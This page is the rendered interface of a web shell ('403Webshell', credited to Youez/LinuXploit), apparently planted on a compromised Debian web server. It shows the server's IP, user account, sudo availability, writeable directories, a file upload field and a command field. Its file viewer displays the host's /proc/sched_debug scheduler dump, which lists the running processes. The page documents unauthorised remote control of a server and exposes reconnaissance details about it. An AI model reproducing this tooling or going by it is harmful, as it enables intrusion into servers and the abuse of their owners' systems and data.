403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/sched_debug
Sched Debug Version: v0.11, 5.10.0-37-cloud-amd64 #1
ktime                                   : 16490246602.768376
sched_clk                               : 16489109073.104385
cpu_clk                                 : 16489109062.140102
jiffies                                 : 8417453870
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 16722747
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2199.998 MHz
  .nr_running                    : 3
  .nr_switches                   : 4765690791
  .nr_uninterruptible            : 24043
  .next_balance                  : 8417.453877
  .curr->pid                     : 3112121
  .clock                         : 16489109061.346628
  .clock_task                    : 16489109061.346628
  .avg_idle                      : 630271
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1070162059.492620
  .min_vruntime                  : 1070162059.492620
  .max_vruntime                  : 1070162260.220476
  .spread                        : 200.727856
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 3
  .load                          : 3145728
  .load_avg                      : 3372
  .runnable_avg                  : 3368
  .util_avg                      : 1024
  .util_est_enqueued             : 406
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S        kthreadd     2 1070097844.704654     78586   120         0.000000      9772.353187         0.000000 0 0 /
 I          rcu_gp     3       118.137454         2   100         0.000000         0.004105         0.000000 0 0 /
 I      rcu_par_gp     4       119.638443         2   100         0.000000         0.002665         0.000000 0 0 /
 I    kworker/0:0H     6       493.222987         4   100         0.000000         0.047258         0.000000 0 0 /
 S rcu_tasks_rude_     9       128.393667         2   120         0.000000         0.002201         0.000000 0 0 /
 S rcu_tasks_trace    10       130.432900         2   120         0.000000         0.040451         0.000000 0 0 /
 S     ksoftirqd/0    11 1070162041.107258   8689694   120         0.000000    900289.870116         0.000000 0 0 /
 I       rcu_sched    12 1070162050.284816  97299012   120         0.000000   2049901.646045         0.000000 0 0 /
 S     migration/0    13         0.000000   4139058     0         0.000000     91236.102227         0.000000 0 0 /
 S         cpuhp/0    15      2578.868379         8   120         0.000000         0.229234         0.000000 0 0 /
 I           netns    24       193.376062         2   100         0.000000         0.000000         0.000000 0 0 /
 S         kauditd    25 798073045.929505        16   120         0.000000       153.380569         0.000000 0 0 /
 S      khungtaskd    26 1070123943.949401    136478   120         0.000000      9823.639752         0.000000 0 0 /
 I         kblockd    52       387.180489         2   100         0.000000         0.000000         0.000000 0 0 /
 I    kworker/0:1H    54 1070155972.113232  11604656   100         0.000000    393656.132728         0.000000 0 0 /
 S         kswapd0    55 1070156218.688941   2329405   120         0.000000  11119229.365032         0.000000 0 0 /
 I acpi_thermal_pm    57       811.247495         2   100         0.000000         0.035753         0.000000 0 0 /
 I   nvme-reset-wq    59       817.333746         2   100         0.000000         0.033277         0.000000 0 0 /
 I   ipv6_addrconf    61       853.567403         2   100         0.000000         0.037946         0.000000 0 0 /
 I    kworker/u5:0    76       893.702135         2   100         0.000000         0.048085         0.000000 0 0 /
 I ext4-rsv-conver   154 1063171997.891277       176   100         0.000000        93.377208         0.000000 0 0 /
 I      tpm_dev_wq   218      2168.748373         2   100         0.000000         0.010000         0.000000 0 0 /
 I          cryptd   236      2428.849660         2   100         0.000000         0.045211         0.000000 0 0 /
 S        dhclient   321      2918.207930        35   120         0.000000        12.015441         0.000000 0 0 /
 S       isc-timer   333 1070091290.398870     42092   120         0.000000      5329.796526         0.000000 0 0 /
 S        dhclient   425      3149.887775         4   120         0.000000         5.494859         0.000000 0 0 /
 S  isc-worker0000   426 1070149984.468865    151678   120         0.000000     87824.906944         0.000000 0 0 /
 S       isc-timer   428 1070149984.348314    276278   120         0.000000     24155.270020         0.000000 0 0 /
 S google_cloud_op   499      6003.129111       834   120         0.000000       211.096079         0.000000 0 0 /
 S google_cloud_op   586 1070155757.414426  22006213   120         0.000000    633790.405428         0.000000 0 0 /
 S google_cloud_op   587      5997.196670       567   120         0.000000        38.094291         0.000000 0 0 /
 S google_cloud_op   588 1069403385.426419   1901351   120         0.000000    625139.499093         0.000000 0 0 /
 S google_cloud_op   590      6003.224762         2   120         0.000000         0.217261         0.000000 0 0 /
 S google_cloud_op   784 1070155748.549032   1511881   120         0.000000    501038.045893         0.000000 0 0 /
 S google_cloud_op   812 1070155748.511945   2828980   120         0.000000    951260.111367         0.000000 0 0 /
 S google_cloud_op 3697170 980472383.952277   2297960   120         0.000000    784549.881305         0.000000 0 0 /
 S google_osconfig   534 1069406286.582762   6161708   120         0.000000   1071008.400510         0.000000 0 0 /
 S google_osconfig   592 1042345349.604831        50   120         0.000000         3.580275         0.000000 0 0 /
 S google_osconfig   601      5074.265774         1   120         0.000000         0.036149         0.000000 0 0 /
 S networkd-dispat   504      5207.804271       320   120         0.000000       179.326732         0.000000 0 0 /
 S     in:imuxsock   521 1070149984.327923   1807335   120         0.000000    155434.860436         0.000000 0 0 /
 S   rs:main Q:Reg   523 1070149984.648596   1886694   120         0.000000    295164.977376         0.000000 0 0 /
 S unattended-upgr   520      5296.556873       321   120         0.000000       179.100069         0.000000 0 0 /
 S           gmain   691      5304.325986         1   120         0.000000         0.092216         0.000000 0 0 /
 S google_guest_ag   524      5036.741215       225   120         0.000000        46.781112         0.000000 0 0 /
 S google_guest_ag   582      5031.693182       277   120         0.000000         6.844789         0.000000 0 0 /
 S google_guest_ag   594 717060298.320737         3   120         0.000000         0.112230         0.000000 0 0 /
 S         chronyd   530 1070091290.888985     57358   120         0.000000     27051.784091         0.000000 0 0 /
 S         chronyd   532      4735.051632         4   120         0.000000         1.773391         0.000000 0 0 /
 S            cron   696 1070138991.069858    323985   120         0.000000     73246.009964         0.000000 0 0 /
 S      otelopscol   857 1070159016.049742 143006506   120         0.000000   3837675.274804         0.000000 0 0 /
 S      otelopscol   858 1070159016.053544  12576288   120         0.000000   8744134.200904         0.000000 0 0 /
 S      otelopscol   859     10353.918039       410   120         0.000000        10.114312         0.000000 0 0 /
 S      otelopscol   860     10358.124131         6   120         0.000000         0.381858         0.000000 0 0 /
 S      otelopscol   862     10357.983648       193   120         0.000000        67.452359         0.000000 0 0 /
 S      otelopscol   888 1070143005.791432  14077475   120         0.000000   9849081.813440         0.000000 0 0 /
 S      otelopscol   889 1049770114.224587  17066322   120         0.000000  11078110.676249         0.000000 0 0 /
 S google_cloud_op   854      8194.995582       650   120         0.000000        42.967203         0.000000 0 0 /
 S google_cloud_op   855      8175.484484       271   120         0.000000        10.661684         0.000000 0 0 /
 S google_cloud_op   856      6521.825966         1   120         0.000000         0.058721         0.000000 0 0 /
 S google_cloud_op   865 1070149985.216435   1606737   120         0.000000    408347.149848         0.000000 0 0 /
 S google_cloud_op 25243 1070157591.792746   1379562   120         0.000000    396743.829981         0.000000 0 0 /
 S google_cloud_op 183122 1070157591.744268    494466   120         0.000000    153982.928223         0.000000 0 0 /
 S    flb-pipeline   866 1070162050.319809 623445773   120         0.000000  42037981.741580         0.000000 0 0 /
 S flb-out-stackdr   868 1070162041.068210  12403460   120         0.000000    427703.292824         0.000000 0 0 /
 S flb-out-stackdr   869 1070162041.067166  12397078   120         0.000000    419145.125435         0.000000 0 0 /
 S flb-out-stackdr   870 1070162041.069975  12394252   120         0.000000    426023.454545         0.000000 0 0 /
 S flb-out-stackdr   871 1070162041.066131  12394041   120         0.000000    421914.096205         0.000000 0 0 /
 S flb-out-stackdr   872 1070162041.065852  12395905   120         0.000000    421105.735692         0.000000 0 0 /
 S flb-out-stackdr   873 1070162041.360302  12391285   120         0.000000    429670.762740         0.000000 0 0 /
 S flb-out-stackdr   874 1070162041.066123  12390815   120         0.000000    422567.021485         0.000000 0 0 /
 S flb-out-stackdr   875 1070162041.071832  12390936   120         0.000000    420125.100487         0.000000 0 0 /
 S flb-out-stackdr   876 1070162041.069561  12178508   120         0.000000    289532.783866         0.000000 0 0 /
 S flb-out-stackdr   877 1070162041.066585  12179322   120         0.000000    283292.200216         0.000000 0 0 /
 S flb-out-stackdr   878 1070162041.066853  12140284   120         0.000000    285417.933962         0.000000 0 0 /
 S flb-out-stackdr   879 1070162041.066376  12189342   120         0.000000    284907.088795         0.000000 0 0 /
 S flb-out-stackdr   880 1070162041.246565  12192405   120         0.000000    282870.321732         0.000000 0 0 /
 S flb-out-stackdr   881 1070162041.065482  12187513   120         0.000000    284999.237787         0.000000 0 0 /
 S flb-out-stackdr   882 1070162041.068188  12187810   120         0.000000    282734.531194         0.000000 0 0 /
 S flb-out-stackdr   883 1070162041.067965  12172823   120         0.000000    276030.374045         0.000000 0 0 /
 S   monkey: clock   885 1070162039.625357  16499247   120         0.000000   1028494.990863         0.000000 0 0 /
 I        xfsalloc 2479487  30262266.465845         2   100         0.000000         0.038891         0.000000 0 0 /
 S           exim4 3392012 1070148222.994094     11704   120         0.000000      5251.325778         0.000000 0 0 /
 S         haveged 3392664 1070161567.896370   2452805   120         0.000000    217116.223175         0.000000 0 0 /
 S      ib_io_rd-2 3037786 1070162044.812261    104151   120         0.000000     17748.933028         0.000000 0 0 /
 S      ib_io_wr-1 3037789 1070162044.792032    132562   120         0.000000     15632.204996         0.000000 0 0 /
 S      ib_io_wr-2 3037790 1070162045.625223    132283   120         0.000000     15609.801852         0.000000 0 0 /
 S      ib_io_wr-3 3037791 1070162044.794399    132457   120         0.000000     15472.800110         0.000000 0 0 /
 S      ib_io_wr-4 3037792 1070162045.902242    133174   120         0.000000     17486.237363         0.000000 0 0 /
 S ib_log_fl_notif 3037796 1070162041.066453    658367   120         0.000000     35438.074563         0.000000 0 0 /
 S    ib_log_flush 3037797 1070162041.063733    734878   120         0.000000     37376.673898         0.000000 0 0 /
 S ib_log_wr_notif 3037798 1070162041.063032    646977   120         0.000000     34983.587981         0.000000 0 0 /
 S   ib_log_writer 3037799 1070162041.064228    648627   120         0.000000     44621.714971         0.000000 0 0 /
 S  ib_log_files_g 3037800 1070162047.222445   4480221   120         0.000000    326197.354584         0.000000 0 0 /
 S  ib_srv_err_mon 3037805 1070162038.696035     55102   120         0.000000     14497.272100         0.000000 0 0 /
 S   ib_buf_resize 3038475 1064880857.836858         1   120         0.000000         0.054854         0.000000 0 0 /
 S     ib_buf_dump 3038518 1064887969.203636        29   120         0.000000         5.225872         0.000000 0 0 /
 S   ib_clone_gtid 3038519 1070162041.075645    470789   120         0.000000     36655.168070         0.000000 0 0 /
 S    ib_srv_wkr-1 3038521 1070161573.755948     62106   120         0.000000      2643.708133         0.000000 0 0 /
 S    ib_srv_wkr-3 3038523 1070161573.743605     53600   120         0.000000       820.520941         0.000000 0 0 /
 S       evt_sched 3038545 1064925717.658698         1   120         0.000000         0.287196         0.000000 0 0 /
 S    xpl_accept-2 3038547 1064925726.174877         4   120         0.000000         0.076753         0.000000 0 0 /
 S        gtid_zip 3038549 1064925728.171805         7   120         0.000000         0.446480         0.000000 0 0 /
 S      connection 3038550 1070153584.051304    327721   120         0.000000    169538.902452         0.000000 0 0 /
 S      php-fpm8.1 3090547 1070161809.618266     17634   120         0.000000      5197.800607         0.000000 0 0 /
 I     kworker/0:1 3099633 1070098037.355022     53586   120         0.000000      5508.504233         0.000000 0 0 /
 I    kworker/u4:1 3109464 1070123233.539195       672   120         0.000000       306.693384         0.000000 0 0 /
 I    kworker/u4:4 3110391 1070161809.589460       680   120         0.000000        69.159671         0.000000 0 0 /
 I    kworker/u4:6 3110393 1070161809.598903       407   120         0.000000        37.958539         0.000000 0 0 /
 S         apache2 3111192 1070161309.944128      2283   120         0.000000      1089.229593         0.000000 0 0 /
 I     kworker/0:0 3111357 1070162041.150303      2526   120         0.000000       168.500952         0.000000 0 0 /
>R      php-fpm8.1 3112121 1070162056.351978     10097   120         0.000000     22686.311628         0.000000 0 0 /
 S         apache2 3112156 1070162047.742441       340   120         0.000000       588.405396         0.000000 0 0 /
 S         apache2 3112168 1070161743.489404       806   120         0.000000      5492.569873         0.000000 0 0 /
 S         apache2 3112185 1070162041.237569       185   120         0.000000        85.931152         0.000000 0 0 /
 S         apache2 3112187 1070161809.599680       162   120         0.000000       501.819816         0.000000 0 0 /
 R      php-fpm8.1 3112189 1070162260.220476      2982   120         0.000000     16659.952293         0.000000 0 0 /
 S         apache2 3112190 1070161743.536524        95   120         0.000000        56.320704         0.000000 0 0 /
 R         apache2 3112194 1070162059.492620       581   120         0.000000      4643.663080         0.000000 0 0 /
 S         apache2 3112196 1070161531.626190       106   120         0.000000        64.679710         0.000000 0 0 /
 S         apache2 3112197 1070161306.834480       107   120         0.000000        59.572878         0.000000 0 0 /
 S         apache2 3112203 1070161075.899025       106   120         0.000000       709.761487         0.000000 0 0 /
 S         apache2 3112204 1070161531.894177       127   120         0.000000       503.483584         0.000000 0 0 /
 S         apache2 3112209 1070161809.751219        58   120         0.000000        34.470354         0.000000 0 0 /
 S         apache2 3112221 1070162041.716583        40   120         0.000000       244.999717         0.000000 0 0 /
 S         apache2 3112226 1070162041.910487        24   120         0.000000        20.989553         0.000000 0 0 /
 S         apache2 3112229 1070162041.546496         5   120         0.000000         1.676287         0.000000 0 0 /

cpu#1, 2199.998 MHz
  .nr_running                    : 3
  .nr_switches                   : 4791727926
  .nr_uninterruptible            : -24043
  .next_balance                  : 8417.453878
  .curr->pid                     : 3112230
  .clock                         : 16489109062.663492
  .clock_task                    : 16489109062.663492
  .avg_idle                      : 935945
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 1063172478.679604
  .min_vruntime                  : 1063172475.651003
  .max_vruntime                  : 1063172678.025980
  .spread                        : 199.346376
  .spread0                       : -6989583.841617
  .nr_spread_over                : 0
  .nr_running                    : 3
  .load                          : 3145728
  .load_avg                      : 3939
  .runnable_avg                  : 3121
  .util_avg                      : 1023
  .util_est_enqueued             : 159
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1 1063171334.940414   3514893   120         0.000000   1805555.144433         0.000000 0 0 /
 I    mm_percpu_wq     8 1039429315.281038        22   100         0.000000         0.484787         0.000000 0 0 /
 S         cpuhp/1    16      1702.355467         8   120         0.000000         3.352078         0.000000 0 0 /
 S     migration/1    17         0.000000   4139488     0         0.000000     90350.697812         0.000000 0 0 /
 S     ksoftirqd/1    18 1063172459.046882  10059408   120         0.000000   1073314.289461         0.000000 0 0 /
 I    kworker/1:0H    20      1029.141794         5   100         0.000000         0.044079         0.000000 0 0 /
 S       kdevtmpfs    23  29318549.573036       128   120         0.000000         3.390880         0.000000 0 0 /
 S      oom_reaper    27 1060915323.302576        34   120         0.000000       490.262477         0.000000 0 0 /
 I       writeback    28 1058305028.181101       719   100         0.000000       353.134900         0.000000 0 0 /
 S      kcompactd0    29 1063172458.718802  32487433   120         0.000000  12379911.305189         0.000000 0 0 /
 S            ksmd    30        61.527375         2   125         0.000000         0.113584         0.000000 0 0 /
 S      khugepaged    31 1063130572.193251   2350590   139         0.000000    453351.144350         0.000000 0 0 /
 I     kintegrityd    51        73.528558         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    53        73.528558         2   100         0.000000         0.000000         0.000000 0 0 /
 I        kthrotld    56       450.950160         2   100         0.000000         0.061166         0.000000 0 0 /
 I         nvme-wq    58       475.881813         2   100         0.000000         0.059887         0.000000 0 0 /
 I  nvme-delete-wq    60       481.948727         2   100         0.000000         0.025234         0.000000 0 0 /
 I           kstrp    71       525.699426         2   100         0.000000         0.034274         0.000000 0 0 /
 S       scsi_eh_0   112       844.856258         2   120         0.000000         0.007096         0.000000 0 0 /
 I      scsi_tmf_0   113       847.855162         2   100         0.000000         0.010763         0.000000 0 0 /
 I    kworker/1:1H   133 1063172012.505195  35646653   100         0.000000   1182441.424168         0.000000 0 0 /
 S     jbd2/sda1-8   153 1063171564.339445  49305342   120         0.000000   3597902.798171         0.000000 0 0 /
 S           hwrng   165 1063130564.242849    322148   120         0.000000     22096.686458         0.000000 0 0 /
 S  isc-worker0000   331 1063097841.713693     92370   120         0.000000     38404.161758         0.000000 0 0 /
 S      isc-socket   332 1063097841.141940     24078   120         0.000000      4119.129274         0.000000 0 0 /
 S      isc-socket   427      2580.485214         2   120         0.000000         0.086117         0.000000 0 0 /
 S     dbus-daemon   486 1063171334.750138   1964228   120         0.000000    829097.308157         0.000000 0 0 /
 S google_cloud_op   813 1063140416.673375   2869342   120         0.000000    949290.294336         0.000000 0 0 /
 S google_osconfig   501 988601961.022039       338   120         0.000000        61.853121         0.000000 0 0 /
 S google_osconfig   531 1063170448.313780  54986623   120         0.000000   1574059.873612         0.000000 0 0 /
 S google_osconfig   535 1063170448.320368   6125461   120         0.000000   1072238.507546         0.000000 0 0 /
 S google_osconfig   602 1063170448.293171   6254866   120         0.000000   1125645.133155         0.000000 0 0 /
 S google_osconfig   608 1063081325.687117   5976594   120         0.000000   1079956.062282         0.000000 0 0 /
 S google_osconfig 19504 1063167979.834961   6265727   120         0.000000   1117919.634415         0.000000 0 0 /
 S        rsyslogd   506 1063098125.913266     29707   120         0.000000      5490.935063         0.000000 0 0 /
 S       in:imklog   522 1062492624.279708      9708   120         0.000000      5796.587947         0.000000 0 0 /
 S          agetty   513      8120.728390        10   120         0.000000         4.602640         0.000000 0 0 /
 S          agetty   514      8154.238729        15   120         0.000000         4.660779         0.000000 0 0 /
 S google_guest_ag   580 1063172462.886810  25300669   120         0.000000    799522.770776         0.000000 0 0 /
 S google_guest_ag   581 1063172461.301051   4097044   120         0.000000    666545.346616         0.000000 0 0 /
 S google_guest_ag   591 1063103593.940107   4063754   120         0.000000    648719.744902         0.000000 0 0 /
 S google_guest_ag   595 1063172458.988610   3981942   120         0.000000    623533.391268         0.000000 0 0 /
 S google_guest_ag   596 1063172458.950401   3960005   120         0.000000    614563.724102         0.000000 0 0 /
 S google_guest_ag   676      9072.269646        51   120         0.000000         5.652283         0.000000 0 0 /
 S  systemd-logind   690 1063171334.661713   2031946   120         0.000000    480367.664694         0.000000 0 0 /
 S      otelopscol   834 1063164361.325808  13613958   120         0.000000   9502465.125571         0.000000 0 0 /
 S      otelopscol   890 1063169305.794508  17699757   120         0.000000  11590627.241921         0.000000 0 0 /
 S google_cloud_op   835 995919742.085829   1265114   120         0.000000    324892.554905         0.000000 0 0 /
 S google_cloud_op   852 1063167974.111852   3576926   120         0.000000    202040.431518         0.000000 0 0 /
 S google_cloud_op   853     12070.727633       245   120         0.000000        13.433244         0.000000 0 0 /
 S google_cloud_op   864 1063167973.107884    958025   120         0.000000    274145.939229         0.000000 0 0 /
 S      fluent-bit   863 1063172469.678223  16494427   120         0.000000    705346.316703         0.000000 0 0 /
 S      flb-logger   867 1063085148.407766       398   120         0.000000        29.100580         0.000000 0 0 /
 S  monkey: server   884     12813.676865         4   120         0.000000         1.057809         0.000000 0 0 /
 S   monkey: wrk/0   886 1063167973.125035   1940264   120         0.000000    225454.316697         0.000000 0 0 /
 I   xfs_mru_cache 2479488  29318464.881807         2   100         0.000000         0.043582         0.000000 0 0 /
 S systemd-journal 1503717 1063163905.048774   2508472   120         0.000000   1423123.751908         0.000000 0 0 /
 S   systemd-udevd 1504622 1063134066.315538     82601   120         0.000000     31212.249108         0.000000 0 0 /
 S            sshd 950069 1063172458.750264    756106   120         0.000000    348405.914522         0.000000 0 0 /
 S         apache2   641 1063172458.873327   4470817   120         0.000000   2133845.873857         0.000000 0 0 /
 S          mysqld 3036969 1063172466.721256    229930   120         0.000000     85998.693939         0.000000 0 0 /
 S      ib_io_ibuf 3037784 1063172455.978647    104000   120         0.000000     14063.706272         0.000000 0 0 /
 S      ib_io_rd-1 3037785 1063172456.077019    104034   120         0.000000     14380.801779         0.000000 0 0 /
 S      ib_io_rd-3 3037787 1063172456.072447    103990   120         0.000000     14176.198089         0.000000 0 0 /
 S      ib_io_rd-4 3037788 1063172456.071986    103776   120         0.000000     13843.779420         0.000000 0 0 /
 S  ib_pg_flush_co 3037793 1063172012.523371    115998   120         0.000000     28327.049443         0.000000 0 0 /
 S  ib_log_checkpt 3037795 1063172235.456155     65116   120         0.000000     12463.455376         0.000000 0 0 /
 S  ib_srv_lock_to 3037804 1063172455.984822     54897   120         0.000000     14848.418279         0.000000 0 0 /
 S      ib_srv_mon 3037806 1063163225.163663      5959   120         0.000000      7594.968727         0.000000 0 0 /
 S     ib_src_main 3038493 1063172012.591333     54005   120         0.000000     13950.953079         0.000000 0 0 /
 S   ib_dict_stats 3038498 1063167049.005341     22618   120         0.000000      9363.325106         0.000000 0 0 /
 S      ib_fts_opt 3038500 1063172461.314521     14067   120         0.000000      9301.570428         0.000000 0 0 /
 S    xpl_worker-2 3038506 1063146404.240662      2475   120         0.000000      5009.296056         0.000000 0 0 /
 S    xpl_worker-1 3038507 1063167966.181551      2450   120         0.000000     11191.572263         0.000000 0 0 /
 S    xpl_accept-1 3038508 1063172234.508218     57470   120         0.000000     14094.121421         0.000000 0 0 /
 S    ib_srv_purge 3038520 1063172012.581105    443080   120         0.000000     30699.940600         0.000000 0 0 /
 S    ib_srv_wkr-2 3038522 1063172012.523553     58265   120         0.000000      1053.161239         0.000000 0 0 /
 S     sig_handler 3038546 1058268956.713060         6   120         0.000000         0.110589         0.000000 0 0 /
 S      connection 3038560 1063172464.984691    327547   120         0.000000    161102.598375         0.000000 0 0 /
 S      connection 3039369 1063172234.889499    322324   120         0.000000    180113.296270         0.000000 0 0 /
 S      connection 3045658 1063172456.470236    276887   120         0.000000    151572.469493         0.000000 0 0 /
 S      connection 3045659 1063172456.158974    275075   120         0.000000    149467.716785         0.000000 0 0 /
 S      connection 3045660 1063172461.071442    278345   120         0.000000    153940.001724         0.000000 0 0 /
 S      connection 3093873 1063163682.682381     91559   120         0.000000     77645.238063         0.000000 0 0 /
 S      connection 3101483 1063172464.866479     54351   120         0.000000     45835.682671         0.000000 0 0 /
 S      connection 3106755 1063172469.806387     27488   120         0.000000     24944.490309         0.000000 0 0 /
 I     kworker/1:1 3105701 1063172458.788913     25401   120         0.000000       584.283084         0.000000 0 0 /
 S         apache2 3111210 1063171785.236591      1554   120         0.000000      1102.849607         0.000000 0 0 /
 I     kworker/1:2 3112095 1063103653.813449         4   120         0.000000         0.039501         0.000000 0 0 /
 S         apache2 3112155 1063172236.902621       267   120         0.000000       574.651440         0.000000 0 0 /
 S         apache2 3112163 1063171798.453093       425   120         0.000000       598.559894         0.000000 0 0 /
 S      php-fpm8.1 3112165 1063172468.897769      5502   120         0.000000     14823.641089         0.000000 0 0 /
 S         apache2 3112166 1063171791.695116       255   120         0.000000       544.768856         0.000000 0 0 /
 R      php-fpm8.1 3112167 1063172678.025980      5215   120         0.000000     15446.487703         0.000000 0 0 /
 R      php-fpm8.1 3112192 1063172478.679604      3053   120         0.000000     13644.155079         0.000000 0 0 /
 S         apache2 3112193 1063171798.558601       129   120         0.000000       296.666682         0.000000 0 0 /
 S         apache2 3112198 1063171795.027210        82   120         0.000000       701.203771         0.000000 0 0 /
 S         apache2 3112200 1063172456.487617        91   120         0.000000       274.089561         0.000000 0 0 /
 S         apache2 3112202 1063162994.045803        88   120         0.000000       302.677838         0.000000 0 0 /
 S         apache2 3112205 1063172012.846808       110   120         0.000000        52.735178         0.000000 0 0 /
 S         apache2 3112207 1063171785.082092        91   120         0.000000       262.905362         0.000000 0 0 /
 S         apache2 3112220 1063172013.351335        11   120         0.000000         9.187506         0.000000 0 0 /
 S         apache2 3112222 1063171798.325348        23   120         0.000000        20.232916         0.000000 0 0 /
 S         apache2 3112225 1063172237.259647        31   120         0.000000        21.158196         0.000000 0 0 /
 S            sshd 3112228 1063172473.013939        20   120         0.000000        20.382463         0.000000 0 0 /
>R            sshd 3112230 1063172476.368207         0   120         0.000000         0.717204         0.000000 0 0 /


Youez - 2016 - github.com/yon3zu
LinuXploit